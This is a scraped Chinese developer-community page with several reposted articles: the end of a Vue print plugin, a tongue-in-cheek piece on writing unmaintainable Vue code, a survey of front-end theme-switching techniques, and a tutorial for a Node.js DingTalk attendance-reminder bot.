    var inputs = document.querySelectorAll('input');
    var textareas = document.querySelectorAll('textarea');
    var selects = document.querySelectorAll('select');

    for (var k = 0; k < inputs.length; k++) {
      if (inputs[k].type == "checkbox" || inputs[k].type == "radio") {
        if (inputs[k].checked == true) {
          inputs[k].setAttribute('checked', "checked")
        } else {
          inputs[k].removeAttribute('checked')
        }
      } else if (inputs[k].type == "text") {
        inputs[k].setAttribute('value', inputs[k].value)
      } else {
        inputs[k].setAttribute('value', inputs[k].value)
      }
    }

    for (var k2 = 0; k2 < textareas.length; k2++) {
      if (textareas[k2].type == 'textarea') {
        textareas[k2].innerHTML = textareas[k2].value
      }
    }

    for (var k3 = 0; k3 < selects.length; k3++) {
      if (selects[k3].type == 'select-one') {
        var child = selects[k3].children;
        for (var i in child) {
          if (child[i].tagName == 'OPTION') {
            if (child[i].selected == true) {
              child[i].setAttribute('selected', "selected")
            } else {
              child[i].removeAttribute('selected')
            }
          }
        }
      }
    }

    return this.dom.outerHTML;
  },

  writeIframe: function (content) {
    var w, doc, iframe = document.createElement('iframe'),
      f = document.body.appendChild(iframe);
    iframe.id = "myIframe";
    //iframe.style = "position:absolute;width:0;height:0;top:-10px;left:-10px;";
    iframe.setAttribute('style', 'position:absolute;width:0;height:0;top:-10px;left:-10px;');
    w = f.contentWindow || f.contentDocument;
    doc = f.contentDocument || f.contentWindow.document;
    doc.open();
    doc.write(content);
    doc.close();
    var _this = this
    iframe.onload = function(){
      _this.toPrint(w);
      setTimeout(function () {
        document.body.removeChild(iframe)
      }, 100)
    }
  },

  toPrint: function (frameWindow) {
    try {
      setTimeout(function () {
        frameWindow.focus();
        try {
          if (!frameWindow.document.execCommand('print', false, null)) {
            frameWindow.print();
          }
        } catch (e) {
          frameWindow.print();
        }
        frameWindow.close();
      }, 10);
    } catch (err) {
      console.log('err', err);
    }
  },
  isDOM: (typeof HTMLElement === 'object') ?
    function (obj) {
      return obj instanceof HTMLElement;
    } :
    function (obj) {
      return obj && typeof obj === 'object' && obj.nodeType === 1 && typeof obj.nodeName === 'string';
    }
};
const MyPlugin = {}
MyPlugin.install = function (Vue, options) {
  // 4. 添加实例方法
  Vue.prototype.$print = Print
}
export default MyPlugin

printjs源码在这里

在main.js中注册

  import Vue from "vue";
  import print from "./src/utils/print.js";
  Vue.use(print)

在需要的地方使用






注意：需使用ref获取dom节点，若直接通过id或class获取则webpack打包部署后打印内容为空

指定不打印区域 方法

方法一. 添加no-print样式类

="no-print">不要打印我

方法二. 自定义类名

不要打印我

this.$print(this.$refs.print,{'no-print':'.do-not-print-me-xxx'}) // 使用

作者：搬砖小能手丶
来源：juejin.cn/post/7131702669852278814

收起阅读 »
上帝之眼 发表于 : 2022-09-06 08:54 评论 (0) 分享

如何写出不可维护的Vue代码

web
前言不止一次接手过复杂业务功能模块，开端总是深陷其中难以自拔，无数个深夜抚摸着头皮在内心暗暗咒骂。相信你也有过类似的经历，面对复杂的业务逻辑，看代码俩小时，写代码五分钟，没有点胆识和谋略都不敢下手。最近总结复盘了一下，以备后用，如果有喜欢的同事想坑他一把，可以...
继续阅读 »

前言

不止一次接手过复杂业务功能模块，开端总是深陷其中难以自拔，无数个深夜抚摸着头皮在内心暗暗咒骂。

相信你也有过类似的经历，面对复杂的业务逻辑，看代码俩小时，写代码五分钟，没有点胆识和谋略都不敢下手。

最近总结复盘了一下，以备后用，如果有喜欢的同事想坑他一把，可以按照此方法实践(不保证100%成功)，个人拙见，如有不当望指正。

目录

  1. data属性数量过多

  2. 组件入参数量过多

  3. mixins和业务代码耦合

  4. 不要封装纯函数

  5. 数据结构尽量复杂

  6. 不写注释或写无法理解的注释

  7. 将前端逻辑变重

  8. 不封装mixins与组件

正文

1、data属性数量过多

要多用data属性，放置一些用不到的key，让属性看起来更丰富，增加理解成本。

最好一打开页面前100行都是data属性，让维护或者参与该组件开发的人员望而生畏，瞬间对组件肃然起敬。

这符合代码的坏味道所描述的：

良药与毒药的区别在于剂量。有少量的全局数据或许无妨，但数量越多，处理的难度就会指数上升。

如图所示，效果更佳：


2、组件入参数量过多

data属性的问题是在一个组件内，看多了加上注释可能就理解，而组件增加过多的props入参恰好能避免这个问题，过多的入参可以让理解变得更困难，要先理解父组件内绑定的值是什么，再理解子组件内的入参用做什么。


当然了，还有高阶一点的用法，就是让父组件的值和子组件的props名称不一致，这样做就更有趣了，难度陡增。


3、mixins与业务代码耦合

合理封装mixins能让代码变得更容易复用和理解，这不是我们想要的，让mixins与业务组件的代码耦合在一起，可以达到事倍功半的效果。

常规的做法是业务组件调用mixins的方法和变量，我们反其道而行之，让mixins调用组件中的方法和变量，然后让mixins多出引用，虽然看起来像mixins，但是并没有mixins的功能，让后期有心想抽离封装的人也无从下手。

小Tips：常见的mixins方法会加上特殊前缀与组件方法区分，我们可以不使用这个规范，让mixins方法更难被发现。


4、不要封装纯函数

如果有一个很重要的业务组件可读性很差，势必要小步快跑的迭代重构，这种情况也不用怕，我们一个微小的习惯就可以让这件事情变得困难重重，那就是不要封装纯函数方法。

纯函数的好处是不引用其他变量，可以轻易的挪动和替换； 让每个方法尽量引用data属性，当他人想迁移或替换你的方法时，就要先理解引用的属性和全局变量，再进一步，可以在方法里再引入mixnins里的变量和方法，这个小习惯就会让他们望而却步。

5、数据结构尽量复杂

让数据结构变复杂绝对是一个必杀技，数据结构随随便便循环嵌套几层，自己都能绕晕。

再加上一些骚操作，递归遍历加一些判断和删减，写上让人难以琢磨的注释，哪怕是高级工程师或是资深工程师都需要狠狠的磕上一段时间才能摸清真正的业务逻辑是什么。

这种方式还有另外一个优点，就是自己可能也会被绕晕，一起陷入有趣的逻辑梳理游戏。


6、不写注释或写无法理解的注释

如果其他方式都复杂且耗时，那这种方法简直是高效的存在，只需要胡乱的写一些让别人看不懂或容易误解的注释，就可轻松把接手代码的同事KO掉。

这个技能也看个人发挥的水平了，你也可以在注释中恐吓、劝阻参与开发人员改动功能代码，煽动开发人员放弃修改，让其内心崩溃。


7、让前端逻辑变重

良好的分层设计能够让系统变得简洁和健壮；为了凸显前端的重要性，应该将逻辑一股脑的承接到前端，让前端逻辑变重，尤其是写一些特殊的编码配置和奇葩规则。

不要和产品、后端讲述这件事情的不合理性，统统塞到前端，当需求被重新讨论时，他们会把特殊逻辑忘的一干二净，而你可以根据代码翻出一大堆，这样你就显得尤为重要了。

8、不封装mixins与组件

如果要让功能变得复杂，就不要拆分UI组件和业务组件，更不要按照业务抽离可复用的mixins方法，让组件尽量大，轻则一两千行，重则五六千行，不设上限，统统塞到一个组件里。


结尾

结合自己的踩坑经历写了这边偏笔记，调侃之处，纯属娱乐。 你有没有遇上过类似的场景，你的感受如何？又是如何解决的呢？敢不敢点个赞，一起评论区讨论。


作者：愚坤
来源：juejin.cn/post/7119692905123414029

收起阅读 »
上帝之眼 发表于 : 2022-09-05 08:52 评论 (0) 分享

前端主题切换方案

web
前端主题切换方案 现在我们经常可以看到一些网站会有类似暗黑模式/白天模式的主题切换功能，效果也是十分炫酷，在平时的开发场景中也有越来越多这样的需求，这里大致罗列一些常见的主题切换方案并分析其优劣，大家可根据需求综合分析得出一套适用的方案。方案1：link标签动...
继续阅读 »


前端主题切换方案

现在我们经常可以看到一些网站会有类似暗黑模式/白天模式的主题切换功能，效果也是十分炫酷，在平时的开发场景中也有越来越多这样的需求，这里大致罗列一些常见的主题切换方案并分析其优劣，大家可根据需求综合分析得出一套适用的方案。

方案1：link标签动态引入

其做法就是提前准备好几套CSS主题样式文件，在需要的时候，创建link标签动态加载到head标签中，或者是动态改变link标签的href属性。

表现效果如下：


网络请求如下：


优点：

  • 实现了按需加载，提高了首屏加载时的性能

缺点：

  • 动态加载样式文件，如果文件过大网络情况不佳的情况下可能会有加载延迟，导致样式切换不流畅

  • 如果主题样式表内定义不当，会有优先级问题

  • 各个主题样式是写死的，后续针对某一主题样式表修改或者新增主题也很麻烦

方案2：提前引入所有主题样式，做类名切换

这种方案与第一种比较类似，为了解决反复加载样式文件问题提前将样式全部引入，在需要切换主题的时候将指定的根元素类名更换，相当于直接做了样式覆盖，在该类名下的各个样式就统一地更换了。其基本方法如下：

/* day样式主题 */
body.day .box {
  color: #f90;
  background: #fff;
}
/* dark样式主题 */
body.dark .box {
  color: #eee;
  background: #333;
}

.box {
  width: 100px;
  height: 100px;
  border: 1px solid #000;
}
<div class="box">
  <p>hello</p>
</div>
<p>
  选择样式：
  <button onclick="change('day')">day</button>
  <button onclick="change('dark')">dark</button>
</p>
function change(theme) {
  document.body.className = theme;
}

表现效果如下：


优点：

  • 不用重新加载样式文件，在样式切换时不会有卡顿

缺点：

  • 首屏加载时会牺牲一些时间加载样式资源

  • 如果主题样式表内定义不当，也会有优先级问题

  • 各个主题样式是写死的，后续针对某一主题样式表修改或者新增主题也很麻烦

方案小结

通过以上两个方案，我们可以看到对于样式的加载问题上的考量就类似于在纠结是做SPA单页应用还是MPA多页应用项目一样。两种其实都误伤大雅，但是最重要的是要保证在后续的持续开发迭代中怎样会更方便。因此我们还可以基于以上存在的问题和方案做进一步的增强。

在做主题切换技术调研时，看到了网友的一条建议：

灵活切换样式.png 因此下面的几个方案主要是针对变量来做样式切换

方案3：CSS变量+类名切换

灵感参考：Vue3官网
在Vue3官网有一个暗黑模式切换按钮，点击之后就会平滑地过渡，虽然Vue3中也有一个v-bind特性可以实现动态样式绑定，但经过观察以后Vue官网并没有采取这个方案，针对Vue3的v-bind特性在接下来的方案中会细说。
大体思路跟方案2相似，依然是提前将样式文件载入，切换时将指定的根元素类名更换。不过这里相对灵活的是，默认在根作用域下定义好CSS变量，只需要在不同的主题下更改CSS变量对应的取值即可。
顺带提一下，在Vue3官网还使用了color-scheme: dark;将系统的滚动条设置为了黑色模式，使样式更加统一。

html.dark {
  color-scheme: dark;
}

实现方案如下：

/* 定义根作用域下的变量 */
:root {
  --theme-color: #333;
  --theme-background: #eee;
}
/* 更改dark类名下变量的取值 */
.dark{
  --theme-color: #eee;
  --theme-background: #333;
}
/* 更改pink类名下变量的取值 */
.pink{
  --theme-color: #fff;
  --theme-background: pink;
}

.box {
  transition: all .2s;
  width: 100px;
  height: 100px;
  border: 1px solid #000;
  /* 使用变量 */
  color: var(--theme-color);
  background: var(--theme-background);
}

表现效果如下：


优点：

  • 不用重新加载样式文件，在样式切换时不会有卡顿

  • 在需要切换主题的地方利用var()绑定变量即可，不存在优先级问题

  • 新增或修改主题方便灵活，仅需新增或修改CSS变量即可，在var()绑定样式变量的地方就会自动更换

缺点：

  • IE兼容性（忽略不计）

  • 首屏加载时会牺牲一些时间加载样式资源

方案4：Vue3新特性（v-bind）

虽然这种方式存在局限性只能在Vue开发中使用，但是为Vue项目开发者做动态样式更改提供了又一个不错的方案。

简单用法

<script setup>
  // 这里可以是原始对象值，也可以是ref()或reactive()包裹的值，根据具体需求而定
  const theme = {
    color: 'red'
  }
</script>

<template>
<p>hello</p>
</template>

<style scoped>
  p {
    color: v-bind('theme.color');
  }
</style>

Vue3中在style样式通过v-bind()绑定变量的原理其实就是给元素绑定CSS变量，在绑定的数据更新时调用CSSStyleDeclaration.setProperty更新CSS变量值。

实现思考

前面方案3基于CSS变量绑定样式是在:root上定义变量，然后在各个地方都可以获取到根元素上定义的变量。现在的方案我们需要考虑的问题是，如果是基于JS层面如何在各个组件上优雅地使用统一的样式变量？
我们可以利用Vuex或Pinia对全局样式变量做统一管理，如果不想使用类似的插件也可以自行封装一个hook，大致如下：

// 定义暗黑主题变量
export default {
  fontSize: '16px',
  fontColor: '#eee',
  background: '#333',
};
// 定义白天主题变量
export default {
  fontSize: '20px',
  fontColor: '#f90',
  background: '#eee',
};
import { shallowRef } from 'vue';
// 引入主题
import theme_day from './theme_day';
import theme_dark from './theme_dark';

// 定义在全局的样式变量
const theme = shallowRef({});

export function useTheme() {
  // 尝试从本地读取
  const localTheme = localStorage.getItem('theme');
  theme.value = localTheme ? JSON.parse(localTheme) : theme_day;
  
  const setDayTheme = () => {
    theme.value = theme_day;
  };
  
  const setDarkTheme = () => {
    theme.value = theme_dark;
  };
  
  return {
    theme,
    setDayTheme,
    setDarkTheme,
  };
}

使用自己封装的主题hook

<script setup lang="ts">
import { useTheme } from './useTheme.ts';
import MyButton from './components/MyButton.vue';
  
const { theme } = useTheme();
</script>

<template>
  <div class="box">
    <span>Hello</span>
  </div>
  <my-button />
</template>

<style lang="scss">
.box {
  width: 100px;
  height: 100px;
  background: v-bind('theme.background');
  color: v-bind('theme.fontColor');
  font-size: v-bind('theme.fontSize');
}
</style>
<script setup lang="ts">
import { useTheme } from '../useTheme.ts';
  
const { theme, setDarkTheme, setDayTheme } = useTheme();
  
const change1 = () => {
  setDarkTheme();
};
  
const change2 = () => {
  setDayTheme();
};
</script>

<template>
  <button class="my-btn" @click="change1">dark</button>
  <button class="my-btn" @click="change2">day</button>
</template>

<style scoped lang="scss">
.my-btn {
  color: v-bind('theme.fontColor');
  background: v-bind('theme.background');
}
</style>

表现效果如下：


其实从这里可以看到，跟Vue的响应式原理一样，只要数据发生改变，Vue就会把绑定了变量的地方通通更新。

优点：

  • 不用重新加载样式文件，在样式切换时不会有卡顿

  • 在需要切换主题的地方利用v-bind绑定变量即可，不存在优先级问题

  • 新增或修改主题方便灵活，仅需新增或修改JS变量即可，在v-bind()绑定样式变量的地方就会自动更换

缺点：

  • IE兼容性（忽略不计）

  • 首屏加载时会牺牲一些时间加载样式资源

  • 这种方式只要是在组件上绑定了动态样式的地方都会有对应的编译成哈希化的CSS变量，而不像方案3统一地就在:root上设置（不确定在达到一定量级以后的性能），也可能正是如此，Vue官方也并未采用此方式做全站的主题切换

方案5：SCSS + mixin + 类名切换

主要是运用SCSS的混合+CSS类名切换，其原理主要是将使用到mixin混合的地方编译为固定的CSS以后，再通过类名切换去做样式的覆盖，实现方案如下：
定义SCSS变量：

/* 字体定义规范 */
$font_samll:12Px;
$font_medium_s:14Px;
$font_medium:16Px;
$font_large:18Px;

/* 背景颜色规范(主要) */
$background-color-theme: #d43c33;//背景主题颜色默认(网易红)
$background-color-theme1: #42b983;//背景主题颜色1(QQ绿)
$background-color-theme2: #333;//背景主题颜色2(夜间模式)

/* 背景颜色规范(次要) */ 
$background-color-sub-theme: #f5f5f5;//背景主题颜色默认(网易红)
$background-color-sub-theme1: #f5f5f5;//背景主题颜色1(QQ绿)
$background-color-sub-theme2: #444;//背景主题颜色2(夜间模式)

/* 字体颜色规范(默认) */
$font-color-theme : #666;//字体主题颜色默认(网易)
$font-color-theme1 : #666;//字体主题颜色1(QQ)
$font-color-theme2 : #ddd;//字体主题颜色2(夜间模式)

/* 字体颜色规范(激活) */
$font-active-color-theme : #d43c33;//字体主题颜色默认(网易红)
$font-active-color-theme1 : #42b983;//字体主题颜色1(QQ绿)
$font-active-color-theme2 : #ffcc33;//字体主题颜色2(夜间模式)

/* 边框颜色 */
$border-color-theme : #d43c33;//边框主题颜色默认(网易)
$border-color-theme1 : #42b983;//边框主题颜色1(QQ)
$border-color-theme2 : #ffcc33;//边框主题颜色2(夜间模式)

/* 字体图标颜色 */
$icon-color-theme : #ffffff;//边框主题颜色默认(网易)
$icon-color-theme1 : #ffffff;//边框主题颜色1(QQ)
$icon-color-theme2 : #ffcc2f;//边框主题颜色2(夜间模式)
$icon-theme : #d43c33;//边框主题颜色默认(网易)
$icon-theme1 : #42b983;//边框主题颜色1(QQ)
$icon-theme2 : #ffcc2f;//边框主题颜色2(夜间模式)

定义混合mixin：

@import "./variable.scss";

@mixin bg_color(){
  background: $background-color-theme;
  [data-theme=theme1] & {
    background: $background-color-theme1;
  }
  [data-theme=theme2] & {
    background: $background-color-theme2;
  }
}
@mixin bg_sub_color(){
  background: $background-color-sub-theme;
  [data-theme=theme1] & {
    background: $background-color-sub-theme1;
  }
  [data-theme=theme2] & {
    background: $background-color-sub-theme2;
  }
}

@mixin font_color(){
  color: $font-color-theme;
  [data-theme=theme1] & {
    color: $font-color-theme1;
  }
  [data-theme=theme2] & {
    color: $font-color-theme2;
  }
}
@mixin font_active_color(){
  color: $font-active-color-theme;
  [data-theme=theme1] & {
    color: $font-active-color-theme1;
  }
  [data-theme=theme2] & {
    color: $font-active-color-theme2;
  }
}

@mixin icon_color(){
    color: $icon-color-theme;
    [data-theme=theme1] & {
        color: $icon-color-theme1;
    }
    [data-theme=theme2] & {
        color: $icon-color-theme2;
    }
}

@mixin border_color(){
  border-color: $border-color-theme;
  [data-theme=theme1] & {
    border-color: $border-color-theme1;
  }
  [data-theme=theme2] & {
    border-color: $border-color-theme2;
  }
}
<template>

  <div @click="changeTheme">

    <div>

      <slot name="left">左边</slot>

    </div>

    <slot name="center">中间</slot>

    <div>

      <slot name="right">右边</slot>

    </div>

  </div>

</template>



<script>

  export default {

    name: 'Header',

    methods: {

      changeTheme () {

        document.documentElement.setAttribute('data-theme', 'theme1')

      }

    }

  }

</script>



<style scoped lang="scss">

@import "../assets/css/variable";

@import "../assets/css/mixin";

.header{

  width: 100%;

  height: 100px;

  font-size: $font_medium;

  @include bg_color();

}

</style>

表现效果如下：


可以发现，使用mixin混合在SCSS编译后同样也是将所有包含的样式全部加载：

这种方案最后得到的结果与方案2类似，只是在定义主题时由于是直接操作的SCSS变量，会更加灵活。

优点：

  • 不用重新加载样式文件，在样式切换时不会有卡顿

  • 在需要切换主题的地方利用mixin混合绑定变量即可，不存在优先级问题

  • 新增或修改主题方便灵活，仅需新增或修改SCSS变量即可，经过编译后会将所有主题全部编译出来

缺点：

  • 首屏加载时会牺牲一些时间加载样式资源

方案6：CSS变量+动态setProperty

此方案较于前几种会更加灵活，不过视情况而定，这个方案适用于由用户根据颜色面板自行设定各种颜色主题，这种是主题颜色不确定的情况，而前几种方案更适用于定义预设的几种主题。
方案参考：vue-element-plus-admin
主要实现思路如下：
只需在全局中设置好预设的全局CSS变量样式，无需单独为每一个主题类名下重新设定CSS变量值，因为主题是由用户动态决定。

:root {

  --theme-color: #333;

  --theme-background: #eee;

}

定义一个工具类方法，用于修改指定的CSS变量值，调用的是CSSStyleDeclaration.setProperty

export const setCssVar = (prop: string, val: any, dom = document.documentElement) => {

  dom.style.setProperty(prop, val)

}

在样式发生改变时调用此方法即可

setCssVar('--theme-color', color)

表现效果如下：


vue-element-plus-admin主题切换源码：


这里还用了vueuse的useCssVar不过效果和Vue3中使用v-bind绑定动态样式是差不多的，底层都是调用的CSSStyleDeclaration.setProperty这个api，这里就不多赘述vueuse中的用法。

优点：

  • 不用重新加载样式文件，在样式切换时不会有卡顿

  • 仔细琢磨可以发现其原理跟方案4利用Vue3的新特性v-bind是一致的，只不过此方案只在:root上动态更改CSS变量而Vue3中会将CSS变量绑定到任何依赖该变量的节点上。

  • 需要切换主题的地方只用在:root上动态更改CSS变量值即可，不存在优先级问题

  • 新增或修改主题方便灵活

缺点：

  • IE兼容性（忽略不计）

  • 首屏加载时会牺牲一些时间加载样式资源（相对于前几种预设好的主题，这种方式的样式定义在首屏加载基本可以忽略不计）

方案总结

说明：两种主题方案都支持并不代表一定是最佳方案，视具体情况而定。

方案/主题样式固定预设主题样式主题样式不固定
方案1：link标签动态引入√（文件过大，切换延时，不推荐）×
方案2：提前引入所有主题样式，做类名切换√×
方案3：CSS变量+类名切换√（推荐）×
方案4：Vue3新特性（v-bind）√（性能不确定）√（性能不确定）
方案5：SCSS + mixin + 类名切换√（推荐，最终呈现效果与方案2类似，但定义和使用更加灵活）×
方案6：CSS变量+动态setProperty√（更推荐方案3）√（推荐）

作者：四相前端团队

来源：juejin.cn/post/7134594122391748615

收起阅读 »
上帝之眼 发表于 : 2022-08-31 08:59 评论 (0) 分享

组员老是忘记打卡，我开发了一款小工具，让全组三个月全勤！

web
我司使用钉钉考勤打卡，人事要求的比较严格，两次未打卡记缺勤一天。但我们组醉心于工作，老是上下班忘记打卡，每月的工资被扣到肉疼。开始的时候我们都设置了一个打卡闹铃，下班后准时提醒，但有的时候加班，加完班回家又忘记打卡了。还有的时候迷之自信的以为自己打卡了，第二天...
继续阅读 »

我司使用钉钉考勤打卡，人事要求的比较严格，两次未打卡记缺勤一天。但我们组醉心于工作，老是上下班忘记打卡，每月的工资被扣到肉疼。

开始的时候我们都设置了一个打卡闹铃，下班后准时提醒，但有的时候加班，加完班回家又忘记打卡了。还有的时候迷之自信的以为自己打卡了，第二天看考勤记录发现没打卡。

为了彻底解决这个问题，守住我们的钱袋子，我开发了一款打卡提醒工具，让全组连续三个月全勤！

下面介绍一下，这个小工具是如何实现的。

小工具实现思路

首先思考一下：闹铃提醒为什么不能百分之百有用？

  1. 机械的提醒

闹铃提醒很机械，每天一个点固定提醒，时间久了人就会免疫。就像起床闹铃用久了，慢慢的那个声音对你不起作用了，此时不得不换个铃声才行。

  1. 不能重复提醒

闹铃只会在固定时间提醒一次，没有办法判断是否打卡，更不会智能地发现你没有打卡，再提醒一次。

既然闹铃做不到，那我们就用程序来实现吧。按照上述两个原因，我们要实现的提醒工具必须包含两个功能：

  1. 检测用户是否打卡，未打卡则提醒，已打卡不提醒。

  2. 对未打卡用户循环检测，重复提醒，直到打卡为止。

如果能实现这两个功能，那么忘记打卡的问题多半也就解决了。

打卡数据需要从钉钉获取，并且钉钉有推送功能。因此我们的方案是：利用 Node.js + 钉钉 API 来实现打卡状态检测和精准的提醒推送。

认识钉钉 API

钉钉是企业版的即时通讯软件。与微信最大的区别是，它提供了开放能力，可以用 API 来实现创建群组，发送消息等功能，这意味使着用钉钉可以实现高度定制的通讯能力。

我们这里用到的钉钉 API 主要有以下几个：

  • 获取凭证

  • 获取用户 ID

  • 检查打卡状态

  • 群内消息推送

  • @某人推送

在使用钉钉 API 之前，首先要确认有公司级别的钉钉账号（使用过钉钉打卡功能一般就有公司账号），后面的步骤都是在这个账号下实现。

申请开放平台应用

钉钉开发第一步，先去钉钉开放平台申请一个应用，拿到 appKey 和 appSecret。

钉钉开放平台地址：open.dingtalk.com/developer

进入平台后，点击“开发者后台”，如下图：


开发者后台就是管理自己开发的钉钉应用的地方，进入后选择“应用开发->企业内部开发”，如下图：


进入这个页面可能提示暂无权限，这是因为开发企业钉钉应用需要开发者权限，这个权限需要管理员在后台添加。

管理员加开发者权限方式：
进入 OA 管理后台，选择设置-权限管理-管理组-添加开发者权限下的对应权限。

进入之后，选择【创建应用 -> H5 微应用】，根据提示创建应用。创建之后在【应用信息】中可以看到两个关键字段：

  • AppKey

  • AppSecret


这两个字段非常重要，获取接口调用凭证时需要将它们作为参数传递。AppKey 是企业内部应用的唯一身份标识，AppSecret 是对应的调用密钥。

搭建服务端应用

钉钉 API 需要在服务端调用。也就是说，我们需要搭建一个服务端应用来请求钉钉 API。

切记不可以在客户端直接调用钉钉 API，因为 AppKey 和 AppSecret 都是保密的，绝不可以直接暴露在客户端。

我们使用 Node.js 的 Express 框架来搭建一个简单的服务端应用，在这个应用上与钉钉 API 交互。搭建好的 Express 目录结构如下：

|-- app.js // 入口文件
|-- catch // 缓存目录
|-- router // 路由目录
|   |-- ding.js // 钉钉路由
|-- utils // 工具目录
|   |-- token.js // token相关

app.js 是入口文件，也是应用核心逻辑，代码简单书写如下：

const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const cors = require('cors');

app.use(bodyParser.json());
app.use(cors());

// 路由配置
app.use('/ding', require('./router/ding'));

// 捕获404
app.use((req, res, next) => {
  res.status(404).send('Not Found');
});

// 捕获异常
app.use((err, req, res, next) => {
  console.error(err);
  res.status(err.status || 500).send(err.inner || err.stack);
});

app.listen(8080, () => {
  console.log(`listen to http://localhost:8080`);
});

另一个 router/ding.js 文件是 Express 标准的路由文件，在这里编写钉钉 API 的相关逻辑，代码基础结构如下：

// router/ding.js
var express = require('express');
var router = express.Router();

router.get('/', (req, res, next) => {
  res.send('钉钉API');
});

module.exports = router;

现在将应用运行起来：

$ node app.js

然后访问 http://localhost:8080/ding，浏览器页面显示出 “钉钉 API” 几个字，表示运行成功。

对接钉钉应用

一个简单的服务端应用搭建好之后，就可以准备接入钉钉 API 了。

接入步骤参考开发文档，文档地址在这里。

1. 获取 API 调用凭证

钉钉 API 需要验证权限才可以调用。验证权限的方式是，根据上一步拿到的 AppKey 和 AppSecret 获取一个 access_token，这个 access_token 就是钉钉 API 的调用凭证。

后续在调用其他 API 时，只要携带 access_token 即可验证权限。

钉钉 API 分为新版和旧版两个版本，为了兼容性我们使用旧版。旧版 API 的 URL 根路径是https://oapi.dingtalk.com，下文用 baseURL 这个变量替代。

根据文档，获取 access_token 的接口是 ${baseURL}/gettoken。在 utils/ding.js 文件中定义一个获取 token 的方法，使用 GET 请求获取 access_token，代码如下：

const fetchToken = async () => {
  try {
    let params = {
      appkey: 'xxx',
      appsecret: 'xxx',
    };
    let url = `${baseURL}/gettoken`;
    let result = await axios.get(url, { params });
    if (result.data.errcode != 0) {
      throw result.data;
    } else {
      return result.data;
    }
  } catch (error) {
    console.log(error);
  }
};

上述代码写好之后，就可以调用 fetchToken 函数获取 access_token 了。

获取到 access_token 之后需要持久化的存储起来供后续使用。在浏览器端，我们可以保存在 localStorage 中，而在 Node.js 端，最简单的方法是直接保存在文件中。

写一个将 access_token 保存为文件，并且可读取的类，代码如下：

var fs = require('fs');
var path = require('path');

var catch_dir = path.resolve(__dirname, '../', 'catch');

class DingToken {
  get() {
    let res = fs.readFileSync(`${catch_dir}/ding_token.json`);
    return res.toString() || null;
  }
  set(token) {
    fs.writeFileSync(`${catch_dir}/ding_token.json`, token);
  }
}

写好之后，现在我们获取 access_token 并存储：

var res = await fetchToken();
if (res) {
  new DingToken().set(res.access_token);
}

在下面的接口调用时，就可以通过 new DingToken().get() 来获取到 access_token 了。

2. 查找组员 ID

有了 access_token 之后，第一个调用的钉钉 API 是获取员工的 userid。userid 是员工在钉钉中的唯一标识。

有了 userid 之后，我们才可以获取组员对应的打卡状态。最简单的方法是通过手机号获取员工的 userid，手机号可以直接在钉钉上查到。

根据手机号查询用户文档在这里。

接口调用代码如下：

let access_token = new DingToken().get();
let params = {
  access_token,
};
axios
  .post(
    `${baseURL}/topapi/v2/user/getbymobile`,
    {
      mobile: 'xxx', // 用户手机号
    },
    { params },
  )
  .then((res) => {
    console.log(res);
  });

通过上面请求方法，逐个获取所有组员的 userid 并保存下来，我们在下一步使用。

3. 获取打卡状态

拿到组员的 userid 列表，我们就可以获取所有组员的打卡状态了。

钉钉获取打卡状态，需要在 H5 应用中申请权限。打开前面创建的应用，点击【权限管理 -> 考勤】，批量添加所有权限：


接着进入【开发管理】，配置一下服务器出口 IP。这个 IP 指的是我们调用钉钉 API 的服务器 IP 地址，开发的时候可以填为 127.0.0.1，部署后更换为真实的 IP 地址。

做好这些准备工作，我们就可以获取打卡状态了。获取打卡状态的 API 如下：

API 地址：${baseURL}/attendance/list
请求方法：POST

这个 API 的请求体是一个对象，对象必须包含的属性如下：

  • workDateFrom：查询考勤打卡记录的起始工作日。

  • workDateTo：查询考勤打卡记录的结束工作日。

  • userIdList：查询用户的用户 ID 列表。

  • offset：数据起始点，用于分页，传 0 即可。

  • limit：获取考勤条数，最大 50 条。

这里的字段解释一下。workDateFrom 和 workDateTo 表示查询考勤的时间范围，因为我们只需要查询当天的数据，因此事件范围就是当天的 0 点到 24 点。

userIdList 就是我们上一步取到的所有组员的 userid 列表。

将获取打卡状态写为一个单独的方法，代码如下：

const dayjs = require('dayjs');

const access_token = new DingToken().get();



// 获取打卡状态

const getAttendStatus = (userIdList) => {

  let params = {

    access_token,

  };

  let body = {

    workDateFrom: dayjs().startOf('day').format('YYYY-MM-DD HH:mm:ss'),

    workDateTo: dayjs().endOf('day').format('YYYY-MM-DD HH:mm:ss'),

    userIdList, // userid 列表

    offset: 0,

    limit: 40,

  };

  return axios.post(`${baseURL}/attendance/list`, body, { params });

};

查询考勤状态的返回结果是一个列表，列表项的关键字段如下：

  • userId：打卡人的用户 ID。

  • userCheckTime：用户实际打卡时间。

  • timeResult：用户打卡结果。Normal：正常，NotSigned：未打卡。

  • checkType：考勤类型。OnDuty：上班，OffDuty：下班。

其他更多字段的含义请参考文档

上面的 4 个字段可以轻松判断出谁应该打卡，打卡是否正常，这样我们就能筛选出没有打卡的用户，对这些未打卡的用户精准提醒。

筛选打卡状态分为两种情况：

  • 上班打卡

  • 下班打卡

上下班打卡要筛选不同的返回数据。假设获取的打卡数据存储在变量 attendList 中，获取方式如下：

// 获取上班打卡记录

const getOnUids = () =>

  attendList

    .filter((row) => row.checkType == 'OnDuty')

    .map((row) => row.userId);



// 获取下班打卡记录

const getOffUids = () =>

  attendList

    .filter((row) => row.checkType == 'OffDut')

    .map((row) => row.userId);

获取到已打卡的用户，接着找到未打卡用户，就可以发送通知提醒了。

4. 发送提醒通知

在钉钉中最常用的消息推送方式是：在群聊中添加一个机器人，向这个机器人的 webhook 地址发送消息，即可实现自定义推送。

还是进入前面创建的 H5 应用，在菜单中找到【应用功能 -> 消息推送 -> 机器人】，根据提示配置好机器人。


创建好机器人后，打开组员所在的钉钉群（已有群或新建群都可）。点击【群设置 -> 智能群助手 -> 添加机器人】，选择刚才创建的机器人，就可以将机器人绑定在群里了。


绑定机器人后，点击机器人设置，会看到一个 Webhook 地址，请求这个地址即可向群聊发送消息。对应的 API 如下：

API 地址：${baseURL}/robot/send?access_token=xxx
请求方法：POST

现在发送一条“我是打卡机器人”，实现代码如下：

const sendNotify = (msg, atuids = []) => {

  let access_token = 'xxx'; // Webhook 地址上的 access_token

  // 消息模版配置

  let infos = {

    msgtype: 'text',

    text: {

      content: msg,

    },

    at: {

      atUserIds: atuids,

    },

  };

  // API 发送消息

  axios.post(`${baseURL}/robot/send`, infos, {

    params: { access_token },

  });

};

sendNotify('我是打卡机器人');

